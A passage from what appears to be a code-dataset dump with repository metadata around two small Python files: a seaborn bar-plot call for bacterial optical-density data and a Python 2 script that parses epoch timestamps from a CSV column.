] | 100 | 2016-12-15T03:44:06.000Z | 2022-03-07T08:14:07.000Z | notebooks/_solutions/case3_bacterial_resistance_lab_experiment8.py | jorisvandenbossche/ICES-python-data | 63864947657f37cb26cb4e2dcd67ff106dffe9cd | [
"BSD-3-Clause"
] | 52 | 2016-12-19T07:48:52.000Z | 2022-02-19T17:53:48.000Z | sns.catplot(data=density_mean, kind="bar",
x='Bacterial_genotype',
y='optical_density',
hue='Phage_t',
row="experiment_time_h",
sharey=False,
aspect=3, height=3,
palette="colorblind") | 33.375 | 42 | 0.524345 | 28 | 267 | 4.785714 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011494 | 0.348315 | 267 | 8 | 43 | 33.375 | 0.758621 | 0 | 0 | 0 | 0 | 0 | 0.261194 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
1333fcfdbe160ae9b1601a609cb9203c7f316e2d | 1,425 | py | Python | apps/xgds_braille_app/importer/timestamp_extractor_csv.py | juliazchen/xgds_braille | 22d946e4ef305101ff769a9c175f84a03d9d32fd | [
"Apache-2.0"
] | null | null | null | apps/xgds_braille_app/importer/timestamp_extractor_csv.py | juliazchen/xgds_braille | 22d946e4ef305101ff769a9c175f84a03d9d32fd | [
"Apache-2.0"
] | null | null | null | apps/xgds_braille_app/importer/timestamp_extractor_csv.py | juliazchen/xgds_braille | 22d946e4ef305101ff769a9c175f84a03d9d32fd | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
import optparse
from csv import DictReader
import sys
import re
import datetime
from dateutil.parser import parse as dateparser
import pytz
def parseTimestampsFromCSV(filename, options):
num_imported = 0
reader = DictReader(open(filename,'r'), delimiter=options.delimiter)
for row in reader:
timestampString = row[options.column]
if timestampString:
if options.type == 'seconds':
epochTime = datetime.datetime.utcfromtimestamp(float(timestampString)).replace(tzinfo=pytz.UTC)
elif options.type == 'microseconds':
epochTime = datetime.datetime.utcfromtimestamp(1e-6*int(timestampString)).replace(tzinfo=pytz.UTC)
print epochTime
num_imported += 1
stats = {'num_imported': num_imported}
return stats
if __name__=='__main__':
# TODO: reconcile whether we get the instrument from a command line arg or infer from the filename
parser = optparse.OptionParser('usage: %prog')
parser.add_option( '-d', '--delimiter', default=',' )
parser.add_option( '-c', '--column' )
parser.add_option( '-t', '--type' )
options, arguments = parser.parse_args()
if options.delimiter == 'tab':
options.delimiter = '\t'
csvFilename = arguments[0]
import_stats = parseTimestampsFromCSV(csvFilename, options)
print 'Imported %d ' % import_stats['num_imported']
| 34.756098 | 114 | 0.680702 | 160 | 1,425 | 5.94375 | 0.5 | 0.057834 | 0.047319 | 0.086225 | 0.073607 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004433 | 0.208421 | 1,425 | 40 | 115 | 35.625 | 0.838652 | 0.082105 | 0 | 0 | 0 | 0 | 0.086524 | 0 | 0 | 0 | 0 | 0.025 | 0 | 0 | null | null | 0 | 0.375 | null | null | 0.0625 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.